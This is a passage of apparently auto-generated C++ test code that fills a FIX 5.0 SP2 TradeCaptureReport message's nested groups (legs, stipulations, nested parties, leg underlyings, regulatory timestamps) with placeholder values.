FIX::LegSecurityExchange{\"EXCHANGE_963080159\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegSecurityID{\"STRING_1923673964\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegSecurityIDSource{\"STRING_905215105\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegSecuritySubType{\"STRING_158129633\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegSecurityType{\"STRING_2140883279\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegSide{'1'}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegStateOrProvinceOfIssue{\"STRING_1581248656\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegStrikeCurrency{\"JPY\"}, InstrumentLeg_139);\n    FIX::LegStrikePrice LegStrikePrice_139;\n    LegStrikePrice_139.setString(\"13413668\");\nset_field(noLegs_0_2, LegStrikePrice_139, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegSymbol{\"STRING_2004928820\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegSymbolSfx{\"STRING_172281746\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegTimeUnit{\"STRING_1771868695\"}, InstrumentLeg_139);\n    set_field(noLegs_0_2, FIX::LegUnitOfMeasure{\"STRING_1334030131\"}, InstrumentLeg_139);\n    FIX::LegUnitOfMeasureQty LegUnitOfMeasureQty_139;\n    LegUnitOfMeasureQty_139.setString(\"2820845\");\nset_field(noLegs_0_2, LegUnitOfMeasureQty_139, InstrumentLeg_139);\n    all_values.push_back(InstrumentLeg_139);\n    all_compo_names.insert(\"...NoLegs.\");\n\n    // LegSecAltIDGrp\n    // Group LegSecAltIDGrp.NoLegSecurityAltID\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoLegSecurityAltID noLegSecurityAltID_2_1_0;\n      // LegSecAltIDGrp.NoLegSecurityAltID\n      multiset<string> LegSecAltIDGrp_NoLegSecurityAltID_279;\n      set_field(noLegSecurityAltID_2_1_0, FIX::LegSecurityAltID{\"STRING_787771323\"}, LegSecAltIDGrp_NoLegSecurityAltID_279);\n      set_field(noLegSecurityAltID_2_1_0, FIX::LegSecurityAltIDSource{\"STRING_1105300872\"}, LegSecAltIDGrp_NoLegSecurityAltID_279);\n      all_values.push_back(LegSecAltIDGrp_NoLegSecurityAltID_279);\n      all_compo_names.insert(\"...NoLegs....NoLegSecurityAltID\");\n\n      noLegs_0_2.addGroup(noLegSecurityAltID_2_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoLegSecurityAltID noLegSecurityAltID_2_1_1;\n      // LegSecAltIDGrp.NoLegSecurityAltID\n      multiset<string> LegSecAltIDGrp_NoLegSecurityAltID_280;\n      set_field(noLegSecurityAltID_2_1_1, FIX::LegSecurityAltID{\"STRING_819638620\"}, LegSecAltIDGrp_NoLegSecurityAltID_280);\n      set_field(noLegSecurityAltID_2_1_1, FIX::LegSecurityAltIDSource{\"STRING_388725704\"}, LegSecAltIDGrp_NoLegSecurityAltID_280);\n      all_values.push_back(LegSecAltIDGrp_NoLegSecurityAltID_280);\n      all_compo_names.insert(\"...NoLegs....NoLegSecurityAltID\");\n\n      noLegs_0_2.addGroup(noLegSecurityAltID_2_1_1);\n    }\n    // LegStipulations\n    // Group LegStipulations.NoLegStipulations\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoLegStipulations noLegStipulations_2_1_0;\n      // LegStipulations.NoLegStipulations\n      multiset<string> LegStipulations_NoLegStipulations_68;\n      set_field(noLegStipulations_2_1_0, FIX::LegStipulationType{\"STRING_34076660\"}, LegStipulations_NoLegStipulations_68);\n      set_field(noLegStipulations_2_1_0, FIX::LegStipulationValue{\"STRING_1967703810\"}, LegStipulations_NoLegStipulations_68);\n      all_values.push_back(LegStipulations_NoLegStipulations_68);\n      all_compo_names.insert(\"...NoLegs...NoLegStipulations\");\n\n      noLegs_0_2.addGroup(noLegStipulations_2_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoLegStipulations noLegStipulations_2_1_1;\n      // LegStipulations.NoLegStipulations\n      multiset<string> LegStipulations_NoLegStipulations_69;\n      set_field(noLegStipulations_2_1_1, FIX::LegStipulationType{\"STRING_191862875\"}, LegStipulations_NoLegStipulations_69);\n      set_field(noLegStipulations_2_1_1, FIX::LegStipulationValue{\"STRING_853706539\"}, LegStipulations_NoLegStipulations_69);\n      all_values.push_back(LegStipulations_NoLegStipulations_69);\n      all_compo_names.insert(\"...NoLegs...NoLegStipulations\");\n\n      noLegs_0_2.addGroup(noLegStipulations_2_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoLegStipulations noLegStipulations_2_1_2;\n      // LegStipulations.NoLegStipulations\n      multiset<string> LegStipulations_NoLegStipulations_70;\n      set_field(noLegStipulations_2_1_2, FIX::LegStipulationType{\"STRING_1822995943\"}, LegStipulations_NoLegStipulations_70);\n      set_field(noLegStipulations_2_1_2, FIX::LegStipulationValue{\"STRING_1790075805\"}, LegStipulations_NoLegStipulations_70);\n      all_values.push_back(LegStipulations_NoLegStipulations_70);\n      all_compo_names.insert(\"...NoLegs...NoLegStipulations\");\n\n      noLegs_0_2.addGroup(noLegStipulations_2_1_2);\n    }\n    // NestedParties\n    // Group NestedParties.NoNestedPartyIDs\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoNestedPartyIDs noNestedPartyIDs_2_1_0;\n      // NestedParties.NoNestedPartyIDs\n      multiset<string> NestedParties_NoNestedPartyIDs_156;\n      set_field(noNestedPartyIDs_2_1_0, FIX::NestedPartyID{\"STRING_674588816\"}, NestedParties_NoNestedPartyIDs_156);\n      set_field(noNestedPartyIDs_2_1_0, FIX::NestedPartyIDSource{'9'}, NestedParties_NoNestedPartyIDs_156);\n      set_field(noNestedPartyIDs_2_1_0, FIX::NestedPartyRole{2116434848}, NestedParties_NoNestedPartyIDs_156);\n      all_values.push_back(NestedParties_NoNestedPartyIDs_156);\n      all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs\");\n\n      // NstdPtysSubGrp\n      // Group NstdPtysSubGrp.NoNestedPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_2_0_2_0;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_322;\n        set_field(noNestedPartySubIDs_2_0_2_0, FIX::NestedPartySubID{\"STRING_697922121\"}, NstdPtysSubGrp_NoNestedPartySubIDs_322);\n        set_field(noNestedPartySubIDs_2_0_2_0, FIX::NestedPartySubIDType{874166305}, NstdPtysSubGrp_NoNestedPartySubIDs_322);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_322);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_2_1_0.addGroup(noNestedPartySubIDs_2_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_2_0_2_1;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_323;\n        set_field(noNestedPartySubIDs_2_0_2_1, FIX::NestedPartySubID{\"STRING_1795798608\"}, NstdPtysSubGrp_NoNestedPartySubIDs_323);\n        set_field(noNestedPartySubIDs_2_0_2_1, FIX::NestedPartySubIDType{691321752}, NstdPtysSubGrp_NoNestedPartySubIDs_323);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_323);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_2_1_0.addGroup(noNestedPartySubIDs_2_0_2_1);\n      }\n      noLegs_0_2.addGroup(noNestedPartyIDs_2_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoNestedPartyIDs noNestedPartyIDs_2_1_1;\n      // NestedParties.NoNestedPartyIDs\n      multiset<string> NestedParties_NoNestedPartyIDs_157;\n      set_field(noNestedPartyIDs_2_1_1, FIX::NestedPartyID{\"STRING_400382203\"}, NestedParties_NoNestedPartyIDs_157);\n      set_field(noNestedPartyIDs_2_1_1, FIX::NestedPartyIDSource{'1'}, NestedParties_NoNestedPartyIDs_157);\n      set_field(noNestedPartyIDs_2_1_1, FIX::NestedPartyRole{1974282545}, NestedParties_NoNestedPartyIDs_157);\n      all_values.push_back(NestedParties_NoNestedPartyIDs_157);\n      all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs\");\n\n      // NstdPtysSubGrp\n      // Group NstdPtysSubGrp.NoNestedPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_2_1_2_0;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_324;\n        set_field(noNestedPartySubIDs_2_1_2_0, FIX::NestedPartySubID{\"STRING_423446794\"}, NstdPtysSubGrp_NoNestedPartySubIDs_324);\n        set_field(noNestedPartySubIDs_2_1_2_0, FIX::NestedPartySubIDType{1831727717}, NstdPtysSubGrp_NoNestedPartySubIDs_324);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_324);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_2_1_1.addGroup(noNestedPartySubIDs_2_1_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_2_1_2_1;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_325;\n        set_field(noNestedPartySubIDs_2_1_2_1, FIX::NestedPartySubID{\"STRING_792701779\"}, NstdPtysSubGrp_NoNestedPartySubIDs_325);\n        set_field(noNestedPartySubIDs_2_1_2_1, FIX::NestedPartySubIDType{47831842}, NstdPtysSubGrp_NoNestedPartySubIDs_325);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_325);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_2_1_1.addGroup(noNestedPartySubIDs_2_1_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_2_1_2_2;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_326;\n        set_field(noNestedPartySubIDs_2_1_2_2, FIX::NestedPartySubID{\"STRING_1018274200\"}, NstdPtysSubGrp_NoNestedPartySubIDs_326);\n        set_field(noNestedPartySubIDs_2_1_2_2, FIX::NestedPartySubIDType{1074786346}, NstdPtysSubGrp_NoNestedPartySubIDs_326);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_326);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_2_1_1.addGroup(noNestedPartySubIDs_2_1_2_2);\n      }\n      noLegs_0_2.addGroup(noNestedPartyIDs_2_1_1);\n    }\n    // TradeCapLegUnderlyingsGrp\n    // Group TradeCapLegUnderlyingsGrp.NoOfLegUnderlyings\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings noOfLegUnderlyings_2_1_0;\n      // TradeCapLegUnderlyingsGrp.NoOfLegUnderlyings\n      // UnderlyingLegInstrument\n      multiset<string> UnderlyingLegInstrument_4;\n      set_field(noOfLegUnderlyings_2_1_0, FIX::UnderlyingLegCFICode{\"STRING_1806045523\"}, UnderlyingLegInstrument_4);\n      set_field(noOfLegUnderlyings_2_1_0, FIX::UnderlyingLegMaturityDate{\"LOCALMKTDATE_32603570\"}, UnderlyingLegInstrument_4);\n      set_field(noOfLegUnderlyings_2_1_0, FIX::UnderlyingLegMaturityMonthYear{\"MONTHYEAR_121412200\"}, UnderlyingLegInstrument_4);\n      set_field(noOfLegUnderlyings_2_1_0, FIX::UnderlyingLegMaturityTime{\"TZTIMEONLY_47287580\"}, UnderlyingLegInstrument_4);\n      set_field(noOfLegUnderlyings_2_1_0, FIX::UnderlyingLegOptAttribute{'5'}, UnderlyingLegInstrument_4);\n      set_field(noOfLegUnderlyings_2_1_0, FIX::UnderlyingLegPutOrCall{155488861}, UnderlyingLegInstrument_4);\n      set_field(noOfLegUnderlyings_2_1_0, FIX::UnderlyingLegSecurityDesc{\"STRING_2014991390\"}, UnderlyingLegInstrument_4);\n      set_field(noOfLegUnderlyings_2_1_0, FIX::UnderlyingLegSecurityExchange{\"STRING_773906697\"}, UnderlyingLegInstrument_4);\n      set_field(noOfLegUnderlyings_2_1_0, FIX::UnderlyingLegSecurityID{\"STRING_1009195400\"}, UnderlyingLegInstrument_4);\n      set_field(noOfLegUnderlyings_2_1_0, FIX::UnderlyingLegSecurityIDSource{\"STRING_1690503686\"}, UnderlyingLegInstrument_4);\n      set_field(noOfLegUnderlyings_2_1_0, FIX::UnderlyingLegSecuritySubType{\"STRING_416498855\"}, UnderlyingLegInstrument_4);\n      set_field(noOfLegUnderlyings_2_1_0, FIX::UnderlyingLegSecurityType{\"STRING_1607482344\"}, UnderlyingLegInstrument_4);\n      FIX::UnderlyingLegStrikePrice UnderlyingLegStrikePrice_4;\n      UnderlyingLegStrikePrice_4.setString(\"2176088\");\nset_field(noOfLegUnderlyings_2_1_0, UnderlyingLegStrikePrice_4, UnderlyingLegInstrument_4);\n      set_field(noOfLegUnderlyings_2_1_0, FIX::UnderlyingLegSymbol{\"STRING_1338230659\"}, UnderlyingLegInstrument_4);\n      set_field(noOfLegUnderlyings_2_1_0, FIX::UnderlyingLegSymbolSfx{\"STRING_1576433544\"}, UnderlyingLegInstrument_4);\n      all_values.push_back(UnderlyingLegInstrument_4);\n      all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings.\");\n\n      // UnderlyingLegSecurityAltIDGrp\n      // Group UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_2_0_2_0;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_8;\n        set_field(noUnderlyingLegSecurityAltID_2_0_2_0, FIX::UnderlyingLegSecurityAltID{\"STRING_2036152780\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_8);\n        set_field(noUnderlyingLegSecurityAltID_2_0_2_0, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_303116201\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_8);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_8);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_2_1_0.addGroup(noUnderlyingLegSecurityAltID_2_0_2_0);\n      }\n      noLegs_0_2.addGroup(noOfLegUnderlyings_2_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings noOfLegUnderlyings_2_1_1;\n      // TradeCapLegUnderlyingsGrp.NoOfLegUnderlyings\n      // UnderlyingLegInstrument\n      multiset<string> UnderlyingLegInstrument_5;\n      set_field(noOfLegUnderlyings_2_1_1, FIX::UnderlyingLegCFICode{\"STRING_1503592790\"}, UnderlyingLegInstrument_5);\n      set_field(noOfLegUnderlyings_2_1_1, FIX::UnderlyingLegMaturityDate{\"LOCALMKTDATE_579990884\"}, UnderlyingLegInstrument_5);\n      set_field(noOfLegUnderlyings_2_1_1, FIX::UnderlyingLegMaturityMonthYear{\"MONTHYEAR_703498404\"}, UnderlyingLegInstrument_5);\n      set_field(noOfLegUnderlyings_2_1_1, FIX::UnderlyingLegMaturityTime{\"TZTIMEONLY_585672758\"}, UnderlyingLegInstrument_5);\n      set_field(noOfLegUnderlyings_2_1_1, FIX::UnderlyingLegOptAttribute{'4'}, UnderlyingLegInstrument_5);\n      set_field(noOfLegUnderlyings_2_1_1, FIX::UnderlyingLegPutOrCall{1323918437}, UnderlyingLegInstrument_5);\n      set_field(noOfLegUnderlyings_2_1_1, FIX::UnderlyingLegSecurityDesc{\"STRING_1009119553\"}, UnderlyingLegInstrument_5);\n      set_field(noOfLegUnderlyings_2_1_1, FIX::UnderlyingLegSecurityExchange{\"STRING_91033851\"}, UnderlyingLegInstrument_5);\n      set_field(noOfLegUnderlyings_2_1_1, FIX::UnderlyingLegSecurityID{\"STRING_2116620216\"}, UnderlyingLegInstrument_5);\n      set_field(noOfLegUnderlyings_2_1_1, FIX::UnderlyingLegSecurityIDSource{\"STRING_1056951395\"}, UnderlyingLegInstrument_5);\n      set_field(noOfLegUnderlyings_2_1_1, FIX::UnderlyingLegSecuritySubType{\"STRING_1109308052\"}, UnderlyingLegInstrument_5);\n      set_field(noOfLegUnderlyings_2_1_1, FIX::UnderlyingLegSecurityType{\"STRING_1043922914\"}, UnderlyingLegInstrument_5);\n      FIX::UnderlyingLegStrikePrice UnderlyingLegStrikePrice_5;\n      UnderlyingLegStrikePrice_5.setString(\"3587249\");\nset_field(noOfLegUnderlyings_2_1_1, UnderlyingLegStrikePrice_5, UnderlyingLegInstrument_5);\n      set_field(noOfLegUnderlyings_2_1_1, FIX::UnderlyingLegSymbol{\"STRING_767869927\"}, UnderlyingLegInstrument_5);\n      set_field(noOfLegUnderlyings_2_1_1, FIX::UnderlyingLegSymbolSfx{\"STRING_1076526485\"}, UnderlyingLegInstrument_5);\n      all_values.push_back(UnderlyingLegInstrument_5);\n      all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings.\");\n\n      // UnderlyingLegSecurityAltIDGrp\n      // Group UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_2_1_2_0;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_9;\n        set_field(noUnderlyingLegSecurityAltID_2_1_2_0, FIX::UnderlyingLegSecurityAltID{\"STRING_815157507\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_9);\n        set_field(noUnderlyingLegSecurityAltID_2_1_2_0, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_1658570307\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_9);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_9);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_2_1_1.addGroup(noUnderlyingLegSecurityAltID_2_1_2_0);\n      }\n      noLegs_0_2.addGroup(noOfLegUnderlyings_2_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings noOfLegUnderlyings_2_1_2;\n      // TradeCapLegUnderlyingsGrp.NoOfLegUnderlyings\n      // UnderlyingLegInstrument\n      multiset<string> UnderlyingLegInstrument_6;\n      set_field(noOfLegUnderlyings_2_1_2, FIX::UnderlyingLegCFICode{\"STRING_635626036\"}, UnderlyingLegInstrument_6);\n      set_field(noOfLegUnderlyings_2_1_2, FIX::UnderlyingLegMaturityDate{\"LOCALMKTDATE_682665250\"}, UnderlyingLegInstrument_6);\n      set_field(noOfLegUnderlyings_2_1_2, FIX::UnderlyingLegMaturityMonthYear{\"MONTHYEAR_284993357\"}, UnderlyingLegInstrument_6);\n      set_field(noOfLegUnderlyings_2_1_2, FIX::UnderlyingLegMaturityTime{\"TZTIMEONLY_1644821436\"}, UnderlyingLegInstrument_6);\n      set_field(noOfLegUnderlyings_2_1_2, FIX::UnderlyingLegOptAttribute{'2'}, UnderlyingLegInstrument_6);\n      set_field(noOfLegUnderlyings_2_1_2, FIX::UnderlyingLegPutOrCall{701492212}, UnderlyingLegInstrument_6);\n      set_field(noOfLegUnderlyings_2_1_2, FIX::UnderlyingLegSecurityDesc{\"STRING_1104820132\"}, UnderlyingLegInstrument_6);\n      set_field(noOfLegUnderlyings_2_1_2, FIX::UnderlyingLegSecurityExchange{\"STRING_443294142\"}, UnderlyingLegInstrument_6);\n      set_field(noOfLegUnderlyings_2_1_2, FIX::UnderlyingLegSecurityID{\"STRING_2039722871\"}, UnderlyingLegInstrument_6);\n      set_field(noOfLegUnderlyings_2_1_2, FIX::UnderlyingLegSecurityIDSource{\"STRING_533770028\"}, UnderlyingLegInstrument_6);\n      set_field(noOfLegUnderlyings_2_1_2, FIX::UnderlyingLegSecuritySubType{\"STRING_151088323\"}, UnderlyingLegInstrument_6);\n      set_field(noOfLegUnderlyings_2_1_2, FIX::UnderlyingLegSecurityType{\"STRING_1928392004\"}, UnderlyingLegInstrument_6);\n      FIX::UnderlyingLegStrikePrice UnderlyingLegStrikePrice_6;\n      UnderlyingLegStrikePrice_6.setString(\"8368862\");\nset_field(noOfLegUnderlyings_2_1_2, UnderlyingLegStrikePrice_6, UnderlyingLegInstrument_6);\n      set_field(noOfLegUnderlyings_2_1_2, FIX::UnderlyingLegSymbol{\"STRING_1654681113\"}, UnderlyingLegInstrument_6);\n      set_field(noOfLegUnderlyings_2_1_2, FIX::UnderlyingLegSymbolSfx{\"STRING_360899240\"}, UnderlyingLegInstrument_6);\n      all_values.push_back(UnderlyingLegInstrument_6);\n      all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings.\");\n\n      // UnderlyingLegSecurityAltIDGrp\n      // Group UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_2_2_2_0;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_10;\n        set_field(noUnderlyingLegSecurityAltID_2_2_2_0, FIX::UnderlyingLegSecurityAltID{\"STRING_92870224\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_10);\n        set_field(noUnderlyingLegSecurityAltID_2_2_2_0, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_767689022\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_10);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_10);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_2_1_2.addGroup(noUnderlyingLegSecurityAltID_2_2_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_2_2_2_1;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_11;\n        set_field(noUnderlyingLegSecurityAltID_2_2_2_1, FIX::UnderlyingLegSecurityAltID{\"STRING_716819424\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_11);\n        set_field(noUnderlyingLegSecurityAltID_2_2_2_1, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_1101989777\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_11);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_11);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_2_1_2.addGroup(noUnderlyingLegSecurityAltID_2_2_2_1);\n      }\n      {\n        FIX50SP2::TradeCaptureReport::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_2_2_2_2;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_12;\n        set_field(noUnderlyingLegSecurityAltID_2_2_2_2, FIX::UnderlyingLegSecurityAltID{\"STRING_858722874\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_12);\n        set_field(noUnderlyingLegSecurityAltID_2_2_2_2, FIX::UnderlyingLegSecurityAltIDSource{\"STRING_685955992\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_12);\n        all_values.push_back(UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_12);\n        all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings....NoUnderlyingLegSecurityAltID\");\n\n        noOfLegUnderlyings_2_1_2.addGroup(noUnderlyingLegSecurityAltID_2_2_2_2);\n      }\n      noLegs_0_2.addGroup(noOfLegUnderlyings_2_1_2);\n    }\n    msg.addGroup(noLegs_0_2);\n  }\n  // TrdRegTimestamps\n  // Group TrdRegTimestamps.NoTrdRegTimestamps\n  {\n    FIX50SP2::TradeCaptureReport::NoTrdRegTimestamps noTrdRegTimestamps_0_0;\n    // TrdRegTimestamps.NoTrdRegTimestamps\n    multiset<string> TrdRegTimestamps_NoTrdRegTimestamps_18;\n    set_field(noTrdRegTimestamps_0_0, FIX::DeskOrderHandlingInst{\"MULTIPLESTRINGVALUE_MQT\"}, TrdRegTimestamps_NoTrdRegTimestamps_18);\n    set_field(noTrdRegTimestamps_0_0, FIX::DeskType{\"STRING_S\"}, TrdRegTimestamps_NoTrdRegTimestamps_18);\n    set_field(noTrdRegTimestamps_0_0, FIX::DeskTypeSource{1}, TrdRegTimestamps_NoTrdRegTimestamps_18);\n    set_field(noTrdRegTimestamps_0_0, FIX::TrdRegTimestamp{FIX::UTCTIMESTAMP(16, 34, 53, 19, 4, 2003)}, TrdRegTimestamps_NoTrdRegTimestamps_18);\n    set_field(noTrdRegTimestamps_0_0, FIX::TrdRegTimestampOrigin{\"STRING_455001760\"}, TrdRegTimestamps_NoTrdRegTimestamps_18);\n    set_field(noTrdRegTimestamps_0_0, FIX::TrdRegTimestampType{3}, TrdRegTimestamps_NoTrdRegTimestamps_18);\n    all_values.push_back(TrdRegTimestamps_NoTrdRegTimestamps_18);\n    all_compo_names.insert(\"...NoTrdRegTimestamps\");\n\n    msg.addGroup(noTrdRegTimestamps_0_0);\n  }\n  {\n    FIX50SP2::TradeCaptureReport::NoTrdRegTimestamps noTrdRegTimestamps_0_1;\n    // TrdRegTimestamps.NoTrdRegTimestamps\n    multiset<string> TrdRegTimestamps_NoTrdRegTimestamps_19;\n    set_field(noTrdRegTimestamps_0_1, FIX::DeskOrderHandlingInst{\"MULTIPLESTRINGVALUE_MAC\"}, TrdRegTimestamps_NoTrdRegTimestamps_19);\n    set_field(noTrdRegTimestamps_0_1, FIX::DeskType{\"STRING_PR\"}, TrdRegTimestamps_NoTrdRegTimestamps_19);\n    set_field(noTrdRegTimestamps_0_1, FIX::DeskTypeSource{1}, TrdRegTimestamps_NoTrdRegTimestamps_19);\n    set_field(noTrdRegTimestamps_0_1, FIX::TrdRegTimestamp{FIX::UTCTIMESTAMP(12, 12, 48, 12, 3, 2002)}, TrdRegTimestamps_NoTrdRegTimestamps_19);\n    set_field(noTrdRegTimestamps_0_1, FIX::TrdRegTimestampOrigin{\"STRING_1190540792\"}, TrdRegTimestamps_NoTrdRegTimestamps_19);\n    set_field(noTrdRegTimestamps_0_1, FIX::TrdRegTimestampType{1}, TrdRegTimestamps_NoTrdRegTimestamps_19);\n    all_values.push_back(TrdRegTimestamps_NoTrdRegTimestamps_19);\n    all_compo_names.insert(\"...NoTrdRegTimestamps\");\n\n    msg.addGroup(noTrdRegTimestamps_0_1);\n  }\n  {\n    FIX50SP2::TradeCaptureReport::NoTrdRegTimestamps noTrdRegTimestamps_0_2;\n    // TrdRegTimestamps.NoTrdRegTimestamps\n    multiset<string> TrdRegTimestamps_NoTrdRegTimestamps_20;\n    set_field(noTrdRegTimestamps_0_2, FIX::DeskOrderHandlingInst{\"MULTIPLESTRINGVALUE_IO\"}, TrdRegTimestamps_NoTrdRegTimestamps_20);\n    set_field(noTrdRegTimestamps_0_2, FIX::DeskType{\"STRING_IN\"}, TrdRegTimestamps_NoTrdRegTimestamps_20);\n    set_field(noTrdRegTimestamps_0_2, FIX::DeskTypeSource{1}, TrdRegTimestamps_NoTrdRegTimestamps_20);\n    set_field(noTrdRegTimestamps_0_2, FIX::TrdRegTimestamp{FIX::UTCTIMESTAMP(9, 25, 19, 23, 1, 2014)}, TrdRegTimestamps_NoTrdRegTimestamps_20);\n    set_field(noTrdRegTimestamps_0_2, FIX::TrdRegTimestampOrigin{\"STRING_1078433524\"}, TrdRegTimestamps_NoTrdRegTimestamps_20);\n    set_field(noTrdRegTimestamps_0_2, FIX::TrdRegTimestampType{3}, TrdRegTimestamps_NoTrdRegTimestamps_20);\n    